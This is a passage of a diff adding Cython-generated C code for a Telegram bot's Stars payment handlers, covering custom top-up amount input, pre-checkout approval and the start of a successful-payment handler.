__pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 192, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 192, __pyx_L9_error) + } + } + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":201 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 201, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":202 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await message.answer(" .") + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":203 + * except Exception as e: + * logger.error(f" : {e}") + * await message.answer(" .") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 203, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_15 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_15 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_15)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_15); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_15, __pyx_kp_u__18}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L21_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 203, __pyx_L21_error) + } + } + } + + /* "handlers/payments/stars_pay.py":201 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L22; + } + __pyx_L21_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_14 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L22:; + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + __pyx_L14_try_end:; + } + + /* "handlers/payments/stars_pay.py":172 + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/stars_pay.py":205 + * await message.answer(" .") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__26}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L28_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 205, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 205, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_13on_pre_checkout_query = {"on_pre_checkout_query", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_pre_checkout_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_pre_checkout_query (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_pre_checkout_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_pre_checkout_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 208, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_pre_checkout_query") < 0)) __PYX_ERR(0, 208, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_pre_checkout_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("on_pre_checkout_query", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 208, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(__pyx_self, __pyx_v_pre_checkout_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_pre_checkout_query) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("on_pre_checkout_query", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 208, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_pre_checkout_query = __pyx_v_pre_checkout_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_14generator4, __pyx_codeobj__27, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_pre_checkout_query", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 208, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":210 + * @router.pre_checkout_query() + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_pre_checkout_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_ok, Py_True) < 0) __PYX_ERR(0, 210, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 210, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 210, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_AddTraceback("on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_16on_successful_payment = {"on_successful_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + 